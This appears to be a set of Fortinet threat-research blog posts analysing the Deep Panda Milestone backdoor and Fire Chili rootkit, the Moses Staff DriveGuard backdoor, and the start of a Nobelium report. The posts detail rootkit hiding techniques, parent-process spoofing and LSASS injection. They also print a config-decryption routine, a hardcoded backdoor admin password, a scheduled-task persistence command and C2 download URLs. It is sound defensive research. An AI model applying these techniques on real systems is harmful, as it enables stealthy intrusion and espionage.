Combined with the fact that 2017 backdoors are used in attacks to this day, it is uncertain whether they
were compiled in 2017 or much later.
The two versions also slightly differ in commands and communication. 2016 Milestones apply XOR
encryption to their communication, as well as support a command to execute as a new user with
administrator privileges. To do so, the backdoor first creates a new administrator user on the system,
with the username ANONYMOUS and the password MileSt0ne2@16. It then executes another instance
of itself as that user with CreateProcessAsUser and proceeds to remove the user from the system
immediately thereafter.
A Stone
s Throw Away
In addition to the backdoors, we obtained a third type of sample 
 a dropper. It writes three files to the
disk:
Benign executable 
 %APPDATA%\syn.exe
Milestone loader 
 %APPDATA%\newdev.dll
Driver 
 C:\Windows\system32\drivers\crtsys.sys
The payloads above are stored XOR-encrypted and LZMA-compressed. The XOR key is a hardcoded
DWORD that changes between samples.
The dropper carries two builds of the driver for 32-bit and 64-bit systems. Using the Service Control
Manager (SCM) API, it installs the build compliant with the operating system architecture as a driver
named FSFilter-Min.
The dropper patches the .data section of the loader binary to add its configuration before it writes it to
disk. Next, the dropper executes syn.exe, a benign executable signed by Synaptics, in order to side-load
the newdev.dll loader module.
The loader also contains a XOR-encrypted and LZMA-compressed payload, which is a Milestone
backdoor. It decrypts the configuration with XOR 0xCC and, like the dropper, patches the backdoor
.data section with it. The configuration contains the backdoor
s version, C2 server address and service
parameters.
Finally, the loader reflectively loads the Milestone backdoor and calls its exports.
4/16
Figure 7: Example of a decrypted configuration
Fire Chili Rootkit
As part of our research, we have collected four driver samples 
 two pairs of 32-bit and 64-bit samples.
One pair was compiled in early August 2017 and the second pair was compiled ten days later. All four
driver samples are digitally signed with stolen certificates from game development companies, either the
US-based Frostburn Studios or the Korean 433CCR Company (433
). The signatures
made with Frostburn Studios
 certificate are even timestamped.
Figure 8: Digital signature of a crtsys.sys driver
Two of the samples are on VirusTotal and have a very low detection rate.
5/16
Figure 9: Detection rates of the rootkit samples from VirusTotal
The rootkit starts by ensuring the victim machine is not running in safe mode. It then checks the
operating system version. The rootkit uses Direct Kernel Object Modification (DKOM), which involves
undocumented kernel structures and objects, for its operations. For this reason, it relies on specific OS
builds as otherwise it may cause the infected machine to crash. In general, the latest supported build is
Windows 10 Creators Update (Redstone 2), released in April 2017.
The purpose of the driver is to hide and protect malicious artifacts from user-mode components. This
includes four aspects: files, processes, registry keys and network connections. The driver has four global
lists, one for each aspect, that contain the artifacts to hide. The driver
s IOCTLs allow dynamic
configuration of the lists through its control device \Device\crtsys. As such, the dropper uses these
IOCTLs to hide the driver
s registry key, the loader and backdoor files, and the loader process.
IOCTL
Action
Description
0xF3060000
Hide file
Add a path to global file list
0xF3060004
Stop hiding file
Remove a path from global file list
0xF3060008
Hide\protect process
Add a file path or PID to global process list
0xF306000C
Stop hiding\protecting process
Remove a file path or PID from global process list
6/16
0xF3060010
Hide registry key
Add a key to global registry list
0xF3060014
Stop hiding registry key
Remove a key from global registry list
0xF3060018
Hide network connections
Add a file path or port number to global network list
0xF306001C
Stop hiding network
connections
Remove a file path or port number from global
network list
Files
The rootkit implements a filesystem minifilter using code based on Microsoft
s official driver code
samples. Prior to registering the minifilter instance, it dynamically creates an instance in the registry
named Sfdev32TopInstance with altitude 483601.
The rootkit sets only one callback for a postoperation routine for IRP_MJ_DIRECTORY_CONTROL.
When it receives an IRP with a minor function of IRP_MN_QUERY_DIRECTORY and a filename from
the global file list, the callback changes the filename to 
 and the filename length to 0 (in the
FILE_BOTH_DIR_INFORMATION structure).
The global file list is initialized with the path of the driver by default
(*\SYSTEM32\DRIVERS\CRTSYS.SYS).
Processes
There are two mechanisms pertaining to processes:
Preventing process termination.
Hiding a process.
To prevent the termination of a process, the rootkit denies the PROCESS_TERMINATE access right of
the processes it protects. Using ObRegisterCallbacks, it registers a preoperation callback routine that
triggers whenever a handle to a process or thread is created or duplicated in the system. When the handle
access originates from user-mode and the image path or PID of the handle target are in the global
process list, the driver removes the PROCESS_TERMINATE permission from the DesiredAccess
parameter. This results in restricting user-mode processes from acquiring the permissions needed to
terminate the threat actor
s malicious processes using standard APIs.
7/16
Figure 10: Unsetting the PROCESS_TERMINATE bit of DesiredAccess
To hide a process, the rootkit monitors all newly created processes on the system by registering a callback
using the PsSetCreateProcessNotifyRoutine API. Whenever a new process is created on the system, the
rootkit checks if its path is in the global process list. If so, the process is removed from the
ActiveProcessLinks list of the EPROCESS structure, which is a circular doubly-linked list of all running
processes on the system. The driver removes the process
s list entry from ActiveProcessLinks by linking
its Flink (the next entry) to its Blink (the previous entry). As a result, the process is hidden from utilities
such as Task Manager.
Figure 11: Removing a process from ActiveProcessLinks
Since the EPROCESS structure changes between Windows builds, the rootkit resolves the
ActiveProcessLinks offset dynamically during runtime. It traverses the process
s EPROCESS structure,
comparing each member to its PID, to locate the offset of the UniqueProcessId field. When found, the
8/16
ActiveProcessLinks offset is also easily located as it is the next field in the EPROCESS structure. The
older rootkit samples use the hiding mechanism on Windows 8 and below, while the newer samples use
it on only Windows 7 and below.
By default, the global process list is initialized with the path *\qwerty.exe. However, we have not
observed any file with this name related to the campaign.
Registry Keys
The rootkit hides registry keys from users using Microsoft
s Registry Editor. The code is based on an
open-source project published by a Chinese developer.
The HHIVE->GetCellRoutine functions of keys in the global registry keys list are replaced with a filter
function. When the path of the querying process is *\WINDOWS\REGEDIT.EXE, the function simply
returns 0 in place of the key node.
By default, the global registry list is initialized with the rootkit
s registry key
(\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\CRTSYS).
Network Connections
The rootkit is capable of hiding TCP connections from tools such as netstat. Much of the code for this
part seems to be copied from an open-source project.
The rootkit attaches to nsiproxy.sys
s device stack and intercepts IOCTLs of type
IOCTL_NSI_GETALLPARAM (0x12000B) that are sent to it. This IOCTL is used to retrieve information
about the active network connections on the system. When it is intercepted, the driver replaces the
IoCompletion routine with a function that filters the results to hide its own network connections.
IOCTL_NSI_GETALLPARAM returns the information about network connections in an NSI_PARAM
structure. NSI_PARAM contains connection data such as IP, port, connection state, and process IDs of
the executables in charge of creating the connection. The filter function iterates this structure, searching
for connections involving a process or port number from its global network list. All identified
connections are removed from the structure, rendering them hidden from the process that sent the
IOCTL. It is interesting to note that the newer build of the 64-bit rootkit added support to filter IOCTLs
from 32-bit processes as well.
If attaching to nsiproxy.sys fails, the rootkit attaches to \Device\Tcp instead, intercepting
IOCTL_TCP_QUERY_INFORMATION_EX (0x120003) and hiding network connections in a similar
manner.
By default, the global network list is initialized with the following process paths:
*\SYN.EXE
*\SVCHOST.EXE
As a result, TCP connections of all services running under svchost.exe are hidden, not just the ones of the
Milestone backdoor.
Attribution
9/16
The Milestone backdoor is actually the same Infoadmin RAT that was used by Deep Panda back in the
early 2010s, referenced in blogs from 2013 and 2015. Although many backdoors are based on Gh0st RAT
code, Milestone and Infoadmin are distinguishable from the rest. Besides having profoundly similar
code, both backdoors incorporate identical modifications of Gh0st RAT code not seen in other variants.
Both backdoors share a XOR encryption function for encrypting communication and have abandoned the
zlib compression of the original Gh0st RAT. Both also modified Gh0st RAT code in an identical way,
specifically the CMD and screen capture functions. Moreover, the backdoors share two commands that
are not present in other Gh0st RAT variants: the session enumeration command and the command to
execute as an administrative user.
Additional evidence indicates affiliation to Winnti. The rootkits are digitally signed with certificates
stolen from game development companies, which is a known characteristic of Winnti. Searching for more
files signed with one of the certificates led to a malicious DLL uploaded to VirusTotal with the name
winmm.dll. Further examination revealed it as the same tool referenced in a blog about Winnti that was
published in 2013. Yet another connection to Winnti is based on a C2 domain. Two of the newdev.dll
loaders are configured with the server gnisoft[.]com, which was attributed to Winnti in 2020.
Conclusion
In this blog, we have attributed a series of opportunistic Log4Shell infections from the past month to
Deep Panda. Though previous technical publications on Deep Panda were published more than half a
decade ago, this blog also relates to a more recent report about the Milestone backdoor, which shows that
their operations have continued throughout all these years.
Furthermore, we introduced the previously unknown Fire Chili rootkit and two compromised digital
signatures, one of which we also directly linked to Winnti. Although both Deep Panda and Winnti are
known to use rootkits as part of their toolset, Fire Chili is a novel strain with a unique code base different
from the ones previously affiliated with the groups.
The reason these tools are linked to two different groups is unclear at this time. It
s possible that the
groups
 developers shared resources, such as stolen certificates and C2 infrastructure, with each other.
This may explain why the samples were only signed several hours after being compiled.
Fortinet Solutions
FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special
configuration. It does this using its post-execution prevention engine to identify malicious activities:
Figure 12: FortiEDR blocking communication for download & execute after Log4Shell exploitation
10/16
Figure 13: FortiEDR blocking the backdoor from communicating with the C2 post-infection
All network IOCs have been added to the FortiGuard WebFiltering blocklist.
The FortiGuard Antivirus service engine is included in Fortinet
s FortiGate, FortiMail, FortiClient, and
FortiEDR solutions. FortiGuard Antivirus has coverage in place as follows:
W32/Themida.ICD!tr
BAT/Agent.6057!tr
W64/Agent.A10B!tr
W32/Agent.0B37!tr
W32/GenKryptik.FQLT!tr
W32/Generic.AC.F834B!tr
W32/GenKryptik.ATCY!tr
W32/Generic.AP.33C2D2!tr
W32/GenKryptik.AQZZ!tr
W32/Generic.HCRGEJT!tr
W32/Agent.DKR!tr
W32/Agent.QNP!tr
W32/Agent.RXT!tr
W32/Agentb.BXIQ!tr
W32/Agent.DA3E!tr
W32/Agent.D584!tr
W32/Agent.0F09!tr
W32/Agent.3385!tr
W64/Agent.D87B!tr.rkit
W32/Agent.69C1!tr.rkit
In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in
real-time with other Alliance members to help create better protections for customers.
Appendix A: MITRE ATT&CK Techniques
Description
T1190
Exploit Public-Facing Application
T1569.002
System Services: Service Execution
T1059.001
Command and Scripting Interpreter: PowerShell
11/16
T1027
Obfuscated Files or Information: Software Packing
T1041
Exfiltration Over C2 Channel
T1082
System Information Discovery
T1036
Masquerading
T1083
File and Directory Discovery
T1059.003
Command and Scripting Interpreter: Windows Command Shell
T1592
Gather Victim Host Information
T1588.003
Obtain Capabilities: Code Signing Certificates
T1014
Rootkit
T1574.002
Hijack Execution Flow: DLL Side-Loading
T1620
Reflective Code Loading
T1113
Screen Capture
Appendix B: IOCs
Type
Details
ece45c25d47ba362d542cd0427775e68396bbbd72fef39823826690b82216c69
SHA256
Backdoor
517c1baf108461c975e988f3e89d4e95a92a40bd1268cdac385951af791947ba
SHA256
Backdoor
a573a413cbb1694d985376788d42ab2b342e6ce94dd1599602b73f5cca695d8f
SHA256
Backdoor
9eeec764e77bec58d366c2efc3817ed56371e4b308e94ad04a6d6307f2e12eda
SHA256
Backdoor
d005a8cf301819a46ecbb1d1e5db0bf87951808d141ada5e13ffc4b68155a112
SHA256
Backdoor
69c69d71a7e334f8ef9d47e7b32d701a0ecd22ce79e0c11dabbc837c9e0fedc2
SHA256
Backdoor
12/16
dfd2409f2b0f403e82252b48a84ff4d7bc3ebc1392226a9a067adc4791a26ee7
SHA256
Backdoor
07c87d036ab5dca9947c20b7eb7d15c9434bb9f125ac564986b33f6c9204ab47
SHA256
Backdoor
c0a2a3708516a321ad2fd68400bef6a3b302af54d6533b5cce6c67b4e13b87d3
SHA256
Backdoor
f8b581393849be5fc4cea22a9ab6849295d9230a429822ceb4b8ee12b1d24683
SHA256
Backdoor
14930488158df5fca4cba80b1089f41dc296e19bebf41e2ff6e5b32770ac0f1e
SHA256
Backdoor
a9fa8e8609872cdcea241e3aab726b02b124c82de4c77ad3c3722d7c6b93b9b5
SHA256
Backdoor
e92d4e58dfae7c1aadeef42056d5e2e5002814ee3b9b5ab1a48229bf00f3ade6
SHA256
Backdoor
855449914f8ecd7371bf9e155f9a97969fee0655db5cf9418583e1d98f1adf14
SHA256
Backdoor
a5fd7e68970e79f1a5514630928fde1ef9f2da197a12a57049dece9c7451ed7b
SHA256
Backdoor
f5eb8949e39c8d3d70ff654a004bc8388eb0dd13ccb9d9958fd25aee47c1d3ae
SHA256
Backdoor
64255ff02e774588995b203d556c9fa9e2c22a978aec02ff7dea372983b47d38
SHA256
Backdoor
b598cb6ba7c99dcf6040f7073fe313e648db9dd2f6e71cba89790cc45c8c9026
SHA256
Backdoor
2d252c51a29f86032421df82524c6161c7a63876c4dc20faffa47929ec8a9d60
SHA256
Backdoor
2de6fb71c1d5ba0cd8d321546c04eaddddbf4a00ce4ef6ca6b7974a2a734a147
SHA256
Backdoor
bd5d730bd204abaddc8db55900f307ff62eaf71c0dc30cebad403f7ce2737b5c
SHA256
Backdoor
412464b25bf136c3780aff5a5a67d9390a0d6a6f852aea0957263fc41e266c8b
SHA256
Backdoor
0d096d983d013897dbe69f3dae54a5f2ada8090b886ab68b74aa18277de03052
SHA256
Backdoor
cfba16fa9aa7fdc7b744b2832ef65558d8d9934171f0d6e902e7a423d800b50f
SHA256
Backdoor
a71b3f06bf87b40b1559fa1d5a8cc3eab4217f317858bce823dd36302412dabc
SHA256
Backdoor
235044f58c801955ed496f8c84712fdb353fdd9b6fda91886262234bdb710614
SHA256
Backdoor
13/16
e1a51320c982179affb26f417fbbba7e259f819a2721ab9eb0f6d665b6ea1625
SHA256
Backdoor
d1be98177f8ae2c64659396277e7d5c8b7dba662867697feb35282149e3f3cbb
SHA256
Backdoor
ab3470a45ec0185ca1f31291f69282c4a188a46e
SHA1
Backdoor
10de515de5c970385cd946dfda334bc10a7b2d65
SHA1
Backdoor
eb231f08cce1de3e0b10b69d597b865a7ebac4b3
SHA1
Backdoor
66c3dfcb2cc0dfb60e40115e08fc293276e915c2536de9ed6a374481279b852b
SHA256
Loader
73640e8984ad5e5d9a1fd3eee39ccb4cc695c9e3f109b2479296d973a5a494b6
SHA256
Loader
7777bd2bdeff2fd34a745c350659ee24e330b01bcd2ee56d801d5fc2aceb858c
SHA256
Loader
8bf4e301538805b98bdf09fb73e3e370276a252d132e712eae143ab58899763e
SHA256
Loader
18b2e1c52d0245824a5bac2182de38efb3f82399b573063703c0a64252a5c949
SHA256
Loader
d5c1a2ca8d544bedb0d1523db8eeb33f0b065966f451604ff4715f600994bc47
SHA256
0939b68af0c8ee28ed66e2d4f7ee6352c06bda336ccc43775fb6be31541c6057
SHA256
0595a719e7ffa77f17ac254134dba2c3e47d8c9c3968cda69c59c6b021421645
SHA256
Dropper
7782fdc84772c6c5c505098707ced6a17e74311fd5c2e2622fbc629b4df1d798
SHA256
Dropper
18751e47648e0713345552d47752209cbae50fac07895fc7dd1363bbb089a10b
SHA256
Driver 64bit
e4e4ff9ee61a1d42dbc1ddf9b87223393c5fbb5d3a3b849b4ea7a1ddf8acd87b
SHA256
Driver 64bit
395dbe0f7f90f0ad55e8fb894d19a7cc75305a3d7c159ac6a0929921726069c1
SHA256
Driver 32bit
befc197bceb3bd14f44d86ff41967f4e4c6412604ec67de481a5e226f8be0b37
SHA256
Driver 32bit
14/16
1c617fd9dfc068454e94a778f2baec389f534ce0faf786c7e24db7e10093e4fb
SHA256
Legitimate
Synaptics
Setup.exe
bde7b9832a8b2ed6d33eb33dae7c5222581a0163c1672d348b0444b516690f09
SHA256
syn.exe
8b88fe32bd38c3415115592cc028ddaa66dbf3fe024352f9bd16aed60fd5da3e
SHA256
syn.exe
ba763935528bdb0cc6d998747a17ae92783e5e8451a16569bc053379b1263385
SHA256
syn.exe
9908cb217080085e3467f5cedeef26a10aaa13a1b0c6ce2825a0c4912811d584
SHA256
syn.exe
c6bcde5e8185fa9317c17156405c9e2c1f1887d165f81e31e24976411af95722
SHA256
winmm.dll
3403923f1a151466a81c2c7a1fda617b7fbb43b1b8b0325e26e30ed06b6eb936
SHA256
Backdoor
9BCD82563C72E6F72ADFF76BD8C6940C6037516A
Certificate
thumbprint
2A89C5FD0C23B8AF622F0E91939B486E9DB7FAEF
Certificate
thumbprint
192.95.36[.]61
Network
vpn2.smi1egate[.]com
Network
svn1.smi1egate[.]com
Network
giga.gnisoft[.]com
Network
giga.gnisoft[.]com
Network
104.223.34[.]198
Network
103.224.80[.]76
Network
hxxp://104.223.34[.]198/111.php
Network
hxxp://104.223.34[.]198/1dll.php
Network
hxxp://104.223.34[.]198/syn.php
Network
15/16
hxxp://104.223.34[.]198/p.txt
Network
msupdate2
Service
name
WebService
Service
name
Service
name
msupdate
Service
name
msupdateday
Service
name
DigaTrack
Service
name
crtsys.sys
File name
%APPDATA%\syn.exe
File name
%APPDATA%\newdev.dll
File name
Learn more about Fortinet
s FortiGuard Labs threat research and intelligence organization and the
FortiGuard Security Subscriptions and Services portfolio.
16/16
Guard Your Drive from DriveGuard: Moses Staff
Campaigns Against Israeli Organizations Span Several
Months
fortinet.com/blog/threat-research/guard-your-drive-from-driveguard
February 15, 2022
FortiGuard Labs Research
Affected Platforms: Windows
Impacted Users: Windows Users
Impact: Data theft and execution of additional malicious payloads
Severity Level: Critical
Over the past year, FortiEDR has prevented multiple attacks that attempted to exploit
various Microsoft Exchange server vulnerabilities, some of which we have previously
covered.
Among these attacks, we identified a campaign operated by Moses Staff, a geo-political
motivated threat group believed to be sponsored by the Iranian government. After tracking
this campaign for the last several months we found that the group has been using a custom
multi-component toolset for the purpose of conducting espionage against its victims.
This campaign exclusively targets Israeli organizations. Close examination reveals that the
group has been active for over a year, much earlier than the group
s first official public
exposure, managing to stay under the radar with an extremely low detection rate.
In this blog, we will cover the Techniques, Tactics, and Procedures (TTPs) used by Moses
Staff and reveal a new backdoor used by them to download files, execute payloads, and
exfiltrate data from target networks, along with threat intelligence data on their activities.
Infection Vector
The initial infiltration was accomplished by leveraging the ProxyShell exploit in Microsoft
Exchange servers to allow an unauthenticated attacker to execute arbitrary commands on
them through an exposed HTTP\S port. As a result, the attackers were able to deploy two
web shells:
C:/inetpub/wwwroot/aspnet_client/system_web/iispool.aspx
C:/inetpub/wwwroot/aspnet_client/system_web/map.aspx
1/15
These two web shells are used in conjunction with one another, and some of their
functionalities overlap. On numerous occasions, map.aspx was used to validate the results of
the commands executed by iispool.aspx.
Post infection, the attackers dedicated several days to the exfiltration of PST files and other
sensitive data from the compromised server. Next, they attempted to steal credentials by
creating a memory dump of lsass.exe using a LOLBin. Finally, the attackers dropped and
installed the backdoor components.
Figure 1: Command line for dumping memory for lsass.exe
Execution Chain
The loader resides in C:\Windows\System32\drvguard.exe. When executed with the 
command-line argument, it installs itself as a service named DriveGuard.
Figure 2: DriveGuard service properties
The loader is responsible for executing the backdoor component and then monitoring its
process, executing it whenever it has stopped. In addition, it launches a watchdog
mechanism that ensures its own service is never stopped. The following flow chart illustrates
the described process:
2/15
Figure 3: Loading mechanism flow
If the backdoor does not exist on the disk, the loader creates it by reading the content of
C:\Windows\System32\rsc.dat and restoring its DOS header magic value to 4D 5A 90. The
valid executable is written to disk at C:\Windows\System32\broker.exe
3/15
Figure 4: rsc.dat 
 the backdoor without magic bytes in the header
The next step is to execute the backdoor. When doing so, the loader attempts to spoof the
backdoor
s parent process to be svchost.exe. This is achieved via calling CreateProcess and
setting the parent process attribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)
to the first svchost.exe process found in the system. Parent process spoofing may aid in the
evasion of security products. Generally, this method may also be used for gaining SYSTEM
privileges, but in our case, the loader is already running as a system service. If the spoofing
fails, the loader will run the backdoor without it.
The backdoor is executed with the command-line argument 
-ser
Service Watchdog
The loader also sets a watchdog to ensure it remains operational. The watchdog module,
lic.dll, is injected to a newly spawned lsass.exe process.
The injection is implemented in inj.dll, which uses VirtualAllocEx and SetThreadContext to
run shellcode in the target process. The shellcode loads a DLL and then jumps back to the
previous instruction pointer of the thread.
Subsequently, lic.dll begins to monitor the DriveGuard service, restarting it whenever it has
stopped. In addition, it ensures that the DriveGuard service is always configured to start
automatically on system startup.
Figure 5: The shellcode injected by inj.dll into lsass.exe
Broker Backdoor
The backdoor component oversees receiving and executing commands from the C2 server. It
runs only if it receives the command-line argument 
-ser
. Otherwise, it triggers a divide-byzero exception. This is most likely an attempt to thwart dynamic analysis by automatic
security products such as sandboxes.
To ensure that only one instance of the backdoor is running on the system, it creates an event
called 
Program event
4/15
Figure 6: Event created by the backdoor
Configuration
The backdoor
s configuration is stored encrypted in a file at
C:\Users\Public\Libraries\cfg.dat. The encryption scheme used is XOR-based and can be
decrypted by the following Python code. The hardcoded key is consistent throughout all the
samples in our possession.
5/15
def decrypt(encrypted):
key = '9c4arSBr32g6IOni'
result = ''
for i in range(len(encrypted)):
key_char = ord(key[i%16]) + 4
enc_char = encrypted[i]
result_char = (key_char ^ enc_char) + 4
result += chr(result_char)
return result
Figure 7: Python implementation of the decryption routine for the configuration file
The decrypted configuration contains two sets of C2 and URI addresses, alongside a time
interval, in seconds, that determines the frequency at which to contact the server. A random
value between 0 and 2 seconds is added to the interval to cause jitter.
If the configuration file does not exist, the malware uses plaintext configuration values
hardcoded in the executable. In our samples, these values are identical to the ones in the
configuration file.
Figure 8: Decrypted backdoor configuration
Communicate Your 
Boundries
The main part of the malware oversees communication with the server, parsing its responses
and executing commands. The backdoor first sends a POST request, as can be seen in figure
9, to the first configured server. It alternates between contacting the two servers depending
on their status, switching between them when they are unresponsive or return empty replies.
6/15
Figure 9: HTTP POST request sent by the backdoor to the C2
The request looks like encoded HTML form data that is delimited by a boundary value which
appears to contain a misspelled "BoundrySign" string. The noteworthy fields in the request
are token and data .
The data field contains information about the infected machine. The machine time zone has
been chosen by the attackers for the purpose of regional attribution. This string is encrypted
with the same algorithm and key that were used to encrypt the configuration file.
7/15
Figure 10: Format of victim information sent to the C2
Interestingly, the malware fails to retrieve the correct OS version due to usage of the
deprecated GetVersionEx API, which causes executables without updated manifests to
invariably return the Windows 8 value while actually running on a newer operating system.
The token field is comprised of the hostname, username, and an ID. The hostname and
username are encrypted with a ROT5 Caesar cipher, meaning that 5 is added to each
character
s ascii value. The encrypted result is then appended to the ID.
Figure 11: Format of unique identifier sent to the C2
The ID is hardcoded in the binary and is a distinctive identifier of a specific target
organization. Namely, backdoor binaries are specially compiled per target before they are
deployed by the threat actor.
The backdoor continually queries the server for commands. In the event of five consecutive
unsuccessful queries, the backdoor will switch to contacting the backup server. An
unsuccessful query is considered to be one of the following:
The server is unresponsive.
The parsed response starts with the byte 0xA.
The parsed response is empty.
The server response is parsed until the first 
 character and everything after is disregarded.
If the response lacks a 
 it is treated as an empty response.
If the parsed server response is 
, the backdoor will continue to query the same server
without switching to the backup server. Any other response is treated as a command. As
such, it is decrypted with the same algorithm and key as specified previously. If the decrypted
response data is self, the backdoor stops executing. Otherwise, it proceeds to parse the
decrypted data as a command with the following format:
Figure 12: Format of commands sent by the C2
8/15
Type 
 The command type. This can be one of the values from the 
Type
 column in the
Commands table.
Arg1
Arg4 
 The command arguments. Not all arguments are provided for every
command, in which case their value will be the string 
null
 A unique identifier. This ID is sent to the server alongside the command results to
associate the results with the executed command.
Supported Commands
The following is a list of the commands that the backdoor may receive from the server.
Several commands involve downloading additional DLLs from the server and executing
them. The functionality of these modules is unknown at this time.
Type
Description
Directory listing (recursive).
Execute command line.
Upload a file from the disk to the C2.
Download a file from the C2 and save to the disk.
Download a DLL from the C2 and execute it using LoadLibrary, calling its
mainfunc
 export.
Download a DLL from the C2 and execute it using LoadLibrary, calling its
mkb64
 export.
Download a DLL from the C2 and execute it using LoadLibrary, calling its
mkb64
 export.
Update the interval field in the configuration.
Delete the malware from the disk using a CMD command.
This may potentially be used in conjunction with the self command for complete
self-destruction.
Update the tool by running CMD commands to replace the current module on the
disk with a file received from the C2.
9/15
Update the C2 and URI fields in the configuration.
inf*
Send the configuration content and the malware
s filename to the C2.
cmprs*
7-zip compress using ar.dll and ar.dat utilities. If they are not present on the disk,
the tool downloads them from the C2.
sc**
Capture a screenshot, saving it to C:\Users\Public\Libraries\tmp.bin before
sending it unencrypted to the C2.
kl**
The command name and its operation imply keylogger functionality.
The first time this command is received, the malware will download a DLL from
the C2 and execute it using LoadLibrary, calling its 
strt
 export. Upon
subsequent receipts of this command, the contents of
C:\Users\Public\Libraries\async.dat will be sent to the C2.
This DLL most likely writes its output to that file. However, as it is not in our
possession, we cannot confirm this.
au**
Establish scheduled task persistence for itself using the following command:
SCHTASKS /CREATE /TN "Mozilla\Firefox Default Browser Agent
409046Z0FF4A39CB" /ST 11:00 /F /SC DAILY /TR
<CURRENT_EXECUTABLE>
Figure 13: List of supported commands
* Command present in the newer versions only
** Command present in the older versions only
History of Operations
Using Yara rules in VirusTotal
s retrohunt engine we detected two older samples of the
backdoor. Both samples were uploaded around the end of December 2020, which leads us to
believe that this campaign has been operating for at least a year. Until recently, they have
been flying under the radar with a very low detection rate.
10/15
Figure 14: VirusTotal entries of the older backdoor versions
The most notable differences between the versions are the configuration file and the
commands.
In lieu of a configuration file, the older variants exclusively use values hardcoded in the
binary. In terms of commands, a few modifications have taken place in between the versions.
As can be seen in figure 13, various new commands have been added to the latest samples,
while other commands have been eliminated. Although commands were removed, we assess
that the code might have been moved to one of the modules that can be fetched from the
server.
Certain modifications may aim to improve covertness and hinder detection. For example, the
older samples were able to receive the 
 command to register a scheduled task using a
command-line that was hardcoded in the binary. On the other hand, in recent attacks, we
observed task registration via a scheduled task XML file that was dropped by the backdoor.
The last minor difference between versions is the name of the event. Older versions created
an event called 
program Event
. This capitalization error was corrected in the recent
versions.
Searching for the C2 addresses in FortiGuard Labs
 threat intelligence systems shows a large
spike in traffic volume during April 2021. This indicates that the group was operational long
before their initial public exposure. All the network traffic to the malicious servers originated
from Israeli IP addresses
Figure 15: FortiGuard Labs' historical data for C2 IP address
11/15
Figure 16: FortiGuard Labs
 historical data for C2 domain name
During our investigations, we were able to take over and sinkhole the techzenspace[.]com
domain in the beginning of January 2022. This was done to try and prevent the backdoor
from operating for the near future while attempting to identity additional infected
organizations that are not Fortinet customers.
Attribution
We were able to attribute the iispool.aspx web shell to the Moses Staff group based on past
research. Both the web shell path and its code are identical to the ones previously reported.
Another recent publication referenced in the previous section reaffirms our attribution.
All victims are Israeli organizations belonging to various industries. Although the attacks we
identified did not reach a destructive stage, we can
t rule out the possibility that the backdoor
is used before that to exfiltrate data from target networks.
Conclusion
We have been monitoring Moses Staff operations closely these past few months. We have
analyzed new TTPs and attributed a new set of tools to the group, including a backdoor, a
loader and a web shell.
The group is highly motivated, capable, and set on damaging Israeli entities. While they have
been operating continuously and vigorously since late 2020, they were only publicly
acknowledged about a year after. At this point, they continue to depend on 1-day exploits for
their initial intrusion phase.
Although the attacks we identified were carried out for espionage purposes, this does not
negate the possibility that the operators will later turn to destructive measures. We believe
that ransomware or wipers may have not been deployed because FortiEDR blocked earlier
stages of the attack.
Fortinet Protections
FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or
special configuration. It does this using its post-execution prevention engine to identify
malicious activities:
12/15
Figure 17: FortiEDR blocking the memory dumping attempt of lsass.exe
Figure 18: FortiEDR blocking the backdoor communication
All network IOCs have been added to the FortiGuard WebFiltering blocklist.
The FortiGuard AntiVirus service engine is included in
Fortinet
s FortiGate, FortiMail, FortiClient, and FortiEDR solutions. FortiGuard
AntiVirus has coverage in place as follows:
ASP/Webshell.DW!tr
W64/Agent.AVV!tr
W32/Agent.UWN!tr
W32/Agent.UYS!tr
W64/Agent.AVS!tr
W64/Agent.AVU!tr
In addition, as part of our membership in the Cyber Threat Alliance, details of this threat
were shared in real time with other Alliance members to help create better protections for
customers.
Appendix A 
 MITRE ATT&CK Techniques
Description
T1190
Exploit Public-Facing Application
T1505.003
Server Software Component: Web Shell
T1083
File and Directory Discovery
T1003.001
OS Credential Dumping: LSASS Memory
T1005
Data from Local System
T1114
Email Collection
13/15
T1569.002
System Services: Service Execution
T1480
Execution Guardrails
T1134.004
Access Token Manipulation: Parent PID Spoofing
T1055
Process Injection
T1140
Deobfuscate/Decode Files or Information
T1071.001
Application Layer Protocol: Web Protocols
T1082
System Information Discovery
T1033
System Owner/User Discovery
T1573.001
Encrypted Channel: Symmetric Cryptography
T1008
Fallback Channels
T1059.003
Command and Scripting Interpreter: Windows Command Shell
T1113
Screen Capture
T1053.005
Scheduled Task/Job: Scheduled Task
T1041
Exfiltration Over C2 Channel
Appendix B: IOCs
File Hashes (SHA256)
2ac7df27bbb911f8aa52efcf67c5dc0e869fcd31ff79e86b6bd72063992ea8ad (map.aspx)
ff15558085d30f38bc6fd915ab3386b59ee5bb655cbccbeb75d021fdd1fde3ac (agent4.exe)
cafa8038ea7e46860c805da5c8c1aa38da070fa7d540f4b41d5e7391aa9a8079 (calc.exe)
14/15
File Names
iispool.aspx
map.aspx
drvguard.exe
agent4.exe
calc.exe
inj.dll
lic.dll
Event Names
program Event
Program event
87.120.8[.]210
Domains
techzenspace[.]com
URLs
hxxp://87.120.8.210:80/RVP/index3.php
hxxp://techzenspace.com:80/RVP/index8.php
Learn more about Fortinet
s FortiGuard Labs.
15/15
Nobelium Returns to the Political World Stage
fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage
February 24, 2022
FortiGuard Labs Research
Affected Platforms: Windows
Impacted Users: Windows users associated with the targeted embassies
Impact: Compromised machines are under the control of the threat actor
Severity Level: Medium
Nobelium, also known as APT29 and Cozy Bear, is a highly sophisticated group of Russiansponsored cybercriminals. Approximately two years ago, countless system administrators
and IT teams were forced to work around the clock to address Nobelium
s attack on
SolarWinds. And last year, they similarly targeted numerous IT supply chains in the hopes of
being able to embed themselves once again deep inside IT networks. But fast forward to
today, and the Nobelium group seems to have shifted their focus. This time, rather than
targeting software solutions, they have begun targeting embassies. While these attacks may
not impact the average Windows computer user, they do have potentially larger political
ramifications.
FortiGuard Labs has uncovered evidence that the Nobelium group is impersonating someone
associated with the Turkish embassy in targeted email-based attacks. We will be analyzing
one such attack that uses Omicron/Covid-19 as a lure. Those working in or around embassies
are urged to be extra diligent when opening emails.
In this blog, we will highlight techniques and code reuse by Nobelium. We will also highlight
the usage of JARM, which is a widely used technology created by Salesforce to fingerprint
and track malicious servers.
Figure 1: Embassy email
The source email address seems to be a legitimate, albeit compromised email account of a
government department focused on social affairs. In tracing this, however, this email comes
